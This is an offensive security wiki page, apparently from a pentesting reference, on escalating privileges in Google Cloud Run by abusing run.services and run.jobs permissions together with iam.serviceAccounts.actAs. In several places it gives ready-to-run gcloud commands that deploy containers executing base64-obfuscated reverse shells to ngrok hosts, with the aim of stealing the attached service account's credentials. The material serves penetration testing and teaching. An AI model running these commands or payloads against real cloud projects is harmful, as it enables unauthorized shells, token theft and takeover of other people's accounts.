GCP - Run Privesc

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Cloud Run

For more information about Cloud Run check:

GCP - Cloud Run Enum

`run.services.create` , `iam.serviceAccounts.actAs`, `run.routes.invoke`

An attacker with these permissions to create a run service running arbitrary code (arbitrary Docker container), attach a Service Account to it, and make the code exfiltrate the Service Account token from the metadata.

An exploit script for this method can be found here and the Docker image can be found here.

Note that when using gcloud run deploy instead of just creating the service it needs the update permission. Check an example here.

`run.services.update` , `iam.serviceAccounts.actAs`

Like the previous one but updating a service:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

`run.services.setIamPolicy`

Give yourself previous permissions over cloud Run.

`run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)

Launch a job with a reverse shell to steal the service account indicated in the command. You can find an exploit here.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

`run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)

Similar to the previous one it's possible to update a job and update the SA, the command and execute it:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now